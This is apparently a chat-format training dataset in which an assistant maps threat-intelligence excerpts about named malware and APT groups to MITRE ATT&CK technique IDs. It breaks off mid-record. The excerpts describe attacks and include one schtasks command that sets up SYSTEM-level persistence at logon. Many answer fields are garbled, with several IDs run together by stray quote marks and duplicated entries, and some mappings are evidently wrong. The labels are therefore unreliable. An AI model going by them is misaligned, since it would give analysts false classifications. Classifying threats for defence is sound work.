                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Inception is continuing to use chains of infected routers to act as proxies and mask communications between the attackers and the cloud service providers they use. Certain router manufacturers have UPnP listening on WAN as a default configuration. These routers are hijacked by Inception and configured to forward traffic from one port to another host on the internet. Abuse of this service requires no custom malware to be injected on the routers and can be used at scale very easily. Inception strings chains of these routers together to create multiple proxies to hide behind"
            },
            {
                "role": "assistant",
                "content": "T1090.003 - Proxy: Multi-hop Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Unlike previous RDAT samples, this particular sample only uses DNS tunneling for its C2 communications with no HTTP fallback channel. This RDAT sample can only use TXT queries in its DNS tunnel and will issue queries structured like the following"
            },
            {
                "role": "assistant",
                "content": "T1071.004 - Application Layer Protocol: DNS', 'T1008 - Fallback Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "All of these files reside in the victim’s %TEMP% directory:    Filename Description   9PT568.dat Contains victim unique identifier   TPX498.dat Keystroke logs   edg499.dat List of interesting files   TPX499.dat Temporarily holds screenshot when given command by C2   up Temporarily contains downloaded file to be executed when given command by C2      Other changes we noticed in this variant include how the malware obfuscates C2 information stored via dead drop resolvers"
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading', 'T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Get Directory Information The malware gets information for the provided directory address using the following WINAPI calls:"
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Kimsuky has used a PowerShell-based keylogger as well as a tool called MECHANICAL to log keystrokes."
            },
            {
                "role": "assistant",
                "content": "T1056.001 - Input Capture: Keylogging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The directory is used as temporary storage for files containing collected data about the compromised computer. Such files share a common naming convention, encryption algorithm and structure. They are encrypted by a simple variation of the XOR cipher which is used across the malware components. The type of the file can be derived from the 4-byte control sequences placed at the beginning of the file"
            },
            {
                "role": "assistant",
                "content": "T1560.003 - Archive via Custom Method"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "When executed, BoomBox ensures that a directory named NV is present in its current working directory; otherwise it terminates. If the directory is present, BoomBox displays the contents of the NV directory in a new Windows Explorer window (leaving it up to the user to open the PDF file"
            },
            {
                "role": "assistant",
                "content": "T1480 - Execution Guardrails', 'T1083 - File and Directory Discovery', 'T1480 - Execution Guardrails', 'T1480 - Execution Guardrails"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "When we analyzed the email headers, we determined that the email was sent from an SMTP server using an IP associated with the Yonsei University network"
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The macro in the XLS file uses PowerShell to download and execute gm.exe, which is the Warzone RAT - Gm.exe bypasses UAC to run at high integrity level - Gm.exe copies itself to %programdata% with the name Images.exe and then executes it"
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "I download my tools from GitHub, and so do my victims"
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AIRBREAK: a JavaScript-based backdoor also reported as “Orz” that retrieves commands from hidden strings in compromised webpages and actor controlled profiles on legitimate services. BADFLICK: a backdoor that is capable of modifying the file system, generating a reverse shell, and modifying its command and control (C2) configuration. HOMEFRY: a 64-bit Windows password dumper/cracker that has previously been used in conjunction with AIRBREAK and BADFLICK backdoors. The malware accepts up to two arguments at the command line: one to display cleartext credentials for each login session, and a second to display cleartext credentials, NTLM hashes, and malware version for each login session. MURKYTOP: a command-line reconnaissance tool"
            },
            {
                "role": "assistant",
                "content": "T1018 - Remote System Discovery', 'T1135 - Network Share Discovery', 'T1046 - Network Service Discovery', 'T1087.001 - Account Discovery: Local Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "KOMPROGO is capable of creating a reverse shell."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "MoonWind has a command to return a directory listing for a specified directory."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Targets common cloud applications such as web servers for initial access, using known vulnerabilities (“1-days”) – presumably those with a working exploit in the wild. Uses Windows container escape techniques to escape the container and gain code execution on the underlying node. Connects to its C2 server using the IRC protocol over the Tor network"
            },
            {
                "role": "assistant",
                "content": "T1190 - Exploit Public-Facing Application"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Operation Wocao has executed PowerShell commands which were encoded or compressed using Base64, zlib, and XOR."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Aside from stealing credentials from applications, it also steals the following information from several popular web browsers such as Google Chrome, Mozilla Firefox, Internet Explorer, and Microsoft Edge"
            },
            {
                "role": "assistant",
                "content": "T1555.003 - Credentials from Password Stores: Credentials from Web Browsers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "At installation, the MSI file drops three files and creates one hidden directory (UFile) into C:\\ProgramData\\Apple\\Update\\, likely as a ruse"
            },
            {
                "role": "assistant",
                "content": "T1564.001 - Hide Artifacts: Hidden Files and Directories', 'T1564.001 - Hide Artifacts: Hidden Files and Directories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "GreyEnergy uses PsExec locally in order to execute rundll32.exe at the highest privileges (NTAUTHORITY\\SYSTEM)."
            },
            {
                "role": "assistant",
                "content": "T1218.011 - Signed Binary Proxy Execution: Rundll32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "GreyEnergy encrypts communications using RSA-2048."
            },
            {
                "role": "assistant",
                "content": "T1573.002 - Asymmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT12 closely monitors online media related to its tools and operations and reacts when its tools are publicly disclosed"
            },
            {
                "role": "assistant",
                "content": "T1518.001 - Software Discovery: Security Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The executable version of Helminth has a module to log keystrokes."
            },
            {
                "role": "assistant",
                "content": "T1056.001 - Input Capture: Keylogging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "CharmPower can use PowerShell for payload execution and C2 communication."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Empire can capture webcam data on Windows and macOS systems."
            },
            {
                "role": "assistant",
                "content": "T1125 - Video Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "leveraged several compromised universities as proxies to obscure its origin."
            },
            {
                "role": "assistant",
                "content": "T1090 - Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses PowerView and Pywerview to perform discovery commands such as net user, net group, net local group, etc."
            },
            {
                "role": "assistant",
                "content": "T1087 - Account Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By gaining access to the configuration panel the attackers configured the Apache web server and started using the router as a proxy server between the organization’s corporate and restricted segments"
            },
            {
                "role": "assistant",
                "content": "T1090.001 - Proxy: Internal Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "When comparing the provided timestamps of the delivery documents to the timestamps for the remote template documents from Table 2, we find that the time to attack is directly correlated to the last time the templates are modified"
            },
            {
                "role": "assistant",
                "content": "T1070.006 - Indicator Removal on Host: Timestomp', 'T1124 - System Time Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An uptick in activity from GRIM SPIDER, a subgroup of the criminal enterprise CrowdStrike Intelligence tracks as WIZARD SPIDER, has led to the identification of consistent actions employed to carry out their attacks. As part of their initial compromise — usually as a download from a spam email — they gain a foothold with their modular TrickBot malware, which was developed and is principally operated by WIZARD SPIDER. Once TrickBot is executed, new enumeration modules are downloaded onto the compromised machine to facilitate WIZARD SPIDER’s spread in search of credentials with the aim of gaining access to the domain controller. The criminal actors use RDP to perform lateral movement and explore the victim environment, with an end result of gaining access to the domain controller. Once this access has been achieved, GRIM SPIDER is able to deploy the Ryuk ransomware to the entire network"
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols', 'T1021.001 - Remote Services: Remote Desktop Protocol', 'T1204.002 - User Execution: Malicious File', 'T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "To summarize, the Mach-O does the following: Downloads a file from the URL supplied as an argument Decrypts this file using AES-128-EBC and TEA with a custom delta Writes the resulting file to $TMPDIR/airportpaird and makes it executable Uses the privilege escalation exploit to remove the com.apple.quarantineattribute from the file to avoid asking the user to confirm the launch of the unsigned executable"
            },
            {
                "role": "assistant",
                "content": "T1553.001 - Subvert Trust Controls: Gatekeeper Bypass"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Get-Keystrokes Exfiltration module can log keystrokes."
            },
            {
                "role": "assistant",
                "content": "T1056 - Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Helminth has checked the local administrators group."
            },
            {
                "role": "assistant",
                "content": "T1069.001 - Permission Groups Discovery: Local Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The Trojan uses the access token to write the string above to the first file uploaded to Google drive whose filename is <process ID of Trojan>.txt"
            },
            {
                "role": "assistant",
                "content": "T1134 - Access Token Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Tropic Trooper has detected a target system’s OS version and system volume information."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Earth Lusca has used certutil to decode a string into a cabinet file."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "malware deletes files in various ways, including \"suicide scripts\" to delete malware binaries from the victim.  also uses secure file deletion to delete files from the victim. Additionally,  malware SHARPKNOT overwrites and deletes the Master Boot Record (MBR) on the victim's machine."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The diagram in Figure 1 shows the samples, domains, IP addresses and e-mail addresses that we identified during our investigation (See Appendix B for more detail on these.) There is a clear split between Cluster A and Cluster B, with no infrastructure overlap between the two"
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Chinese state-sponsored cyber actors have been observed planting web shells on exploited servers and using them to provide the cyber actors with access to the victim networks."
            },
            {
                "role": "assistant",
                "content": "T1505.003 - Server Software Component: Web Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A  file stealer can gather the victim's computer name and drive serial numbers to send to a C2 server."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The archive contains two files; the first is an executable file, while the second is a decoy PDF document. The bear’s lair . The Stage-1 downloader will download and execute a new downloader, written in C++, not so different from other Zebrocy downloaders. How the bear hunts . In this section we describe in more detail the commands performed manually by the operators through their Delphi backdoor. As we did not identify a pattern in the order which the commands are invoked, we believe the operators are executing them manually. The first set of commands gathers information about the victim’s computer and environment: The commands above are commonly executed when the operators first connect to a newly activated backdoor. Moreover, the backdoor contains a list of filenames related to credentials from software listed below (database names): The operators take care of retrieving these databases if they are present on the victim’s computer. The operators retrieve these files on the machine using the DOWNLOAD_LIST command. This command can be used when the operators are aware of the presence of interesting files on the computer. This backdoor is executed using the CMD_EXECUTE command: There are some interesting facts here. The first set of commands is the same and executed during a very short timeframe, which raises another question: is it automated"
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In some instances, we have also seen the RemcosRAT malware family delivered as the final payload. Additionally, the process attempts to lower the overall security of the system by disabling security features in Microsoft Office and Windows Defender"
            },
            {
                "role": "assistant",
                "content": "T1562.001 - Impair Defenses: Disable or Modify Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "NOKKI has used rundll32 for execution."
            },
            {
                "role": "assistant",
                "content": "T1218.011 - Signed Binary Proxy Execution: Rundll32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An  downloader creates persistence by creating the following scheduled task: schtasks /create /tn \"mysc\" /tr C:\\Users\\Public\\test.exe /sc ONLOGON /ru \"System\"."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "For example, the following string would be included in one of the HTTP parameters sent to the C2 server: eRmaVsr90D-7Ig1ngV3PkdouzP974 In this specific case, the actor made a mistake when configuring this XAgent sample with its C2 locations"
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol', 'T1008 - Fallback Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can capture screenshots of not only the entire screen, but of each separate window open, in case they are overlapping."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AppleSeed can achieve execution through users running malicious file attachments distributed via email."
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BADNEWS is capable of executing commands via cmd.exe."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PROMETHIUM has created new services and modified existing services for persistence."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Sandworm Team has used VBScript to run WMI queries."
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Duqu uses a custom command and control protocol that communicates over commonly used ports, and is frequently encapsulated by application layer protocols."
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol', 'T1572 - Protocol Tunneling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ECCENTRICBANDWAGON can delete log files generated from the malware stored at \"C:\\windows\\temp\\tmp0207\"."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attor performs the injection by attaching its code into the APC queue using NtQueueApcThread API."
            },
            {
                "role": "assistant",
                "content": "T1055.004 - Process Injection: Asynchronous Procedure Call"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The discovery modules used with  can collect information on network connections."
            },
            {
                "role": "assistant",
                "content": "T1049 - System Network Connections Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Empire contains modules that can discover and exploit various DLL hijacking opportunities."
            },
            {
                "role": "assistant",
                "content": "T1574.001 - Hijack Execution Flow: DLL Search Order Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Patchwork installed its payload in the startup programs folder as \"Baidu Software Update.\" The group also adds its second stage payload to the startup programs as “Net Monitor.\" They have also dropped QuasarRAT binaries as files named microsoft_network.exe and crome.exe."
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PoisonIvy hides any strings related to its own indicators of compromise."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "HEXANE has used brute force attacks to compromise valid credentials."
            },
            {
                "role": "assistant",
                "content": "T1110 - Brute Force"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has the capability to discover processes."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attor's dispatcher has used CreateProcessW API for execution."
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Gamaredon Group has inserted malicious macros into existing documents, providing persistence when they are reopened. Gamaredon Group has loaded the group's previously delivered VBA project by relaunching Microsoft Outlook with the \"/altvba\" option, once the Application.Startup event is received."
            },
            {
                "role": "assistant",
                "content": "T1137 - Office Application Startup"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Continuing Malicious Activity and Manipulating Additional Security Products After the module loads with regsvr32.exe, the Irdsnhrxxxfery64 module injects another module Irdsnhrxxxfery98, which was downloaded by the script into regsvr32.exe using the LoadLibraryExW() function"
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection', 'T1218.010 - Signed Binary Proxy Execution: Regsvr32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "LoudMiner has obfuscated various scripts and encrypted DMG files."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The Komplex payload is stored in a hidden directory at \"/Users/Shared/.local/kextd\"."
            },
            {
                "role": "assistant",
                "content": "T1564.001 - Hide Artifacts: Hidden Files and Directories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The Regin malware platform uses Extended Attributes to store encrypted executables."
            },
            {
                "role": "assistant",
                "content": "T1564.004 - Hide Artifacts: NTFS File Attributes"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "creates a Registry key to ensure a file gets executed upon reboot in order to establish persistence."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "They combine reconnaissance of GPO (Group Policy Object management for execution) with digitally-signed malware to avoid detection or blocking during their infection phases"
            },
            {
                "role": "assistant",
                "content": "T1553.002 - Code Signing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FinFisher clears the system event logs using \" OpenEventLog/ClearEventLog APIs \"."
            },
            {
                "role": "assistant",
                "content": "T1070.001 - Indicator Removal on Host: Clear Windows Event Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Stealth Falcon malware gathers the Address Resolution Protocol (ARP) table from the victim."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can obtain information about the current user."
            },
            {
